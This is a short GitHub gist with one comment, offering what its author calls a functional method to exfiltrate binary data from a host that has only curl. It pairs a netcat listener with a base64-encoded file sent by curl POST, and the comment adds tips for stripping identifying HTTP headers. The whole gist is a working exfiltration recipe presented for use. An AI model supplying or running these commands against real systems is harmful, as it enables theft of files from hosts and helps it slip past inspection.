Skip to content

Instantly share code, notes, and snippets.

@packetchef
Created April 2, 2020 12:03
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save packetchef/75226322e06bb82ecad971db0511ef8e to your computer and use it in GitHub Desktop.
Save packetchef/75226322e06bb82ecad971db0511ef8e to your computer and use it in GitHub Desktop.
An inelegant but functional method to exfiltrate binary data when all you have on the source host is curl
On target host:
$ nc -l 9999 > myincomingfile.b64
On source host:
$ base64 gold.bin > gold.b64
# For large files, curl will wait for a 100-continue before sending data - add an empty Expect header to avoid this
$ curl -H 'Expect:' -F attachment=@gold.b64 http://target:9999
On target host:
Remove the headers and footer from myincomingfile.b64, then:
$ base64 -d myincomingfile.b64 > gold.bin
^^ Ideally it would be nice to have a way to not include any headers or footer in the curl command
@packetchef
Copy link
Author

You can remove all headers by specifying they are empty, eg. by adding:
-H 'Content-Length:' -H 'Host:' -H 'User-Agent:' -H 'Accept:' -H 'Expect:' -H "Content-Type:"

netcat on the target will still output the method (eg. POST).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment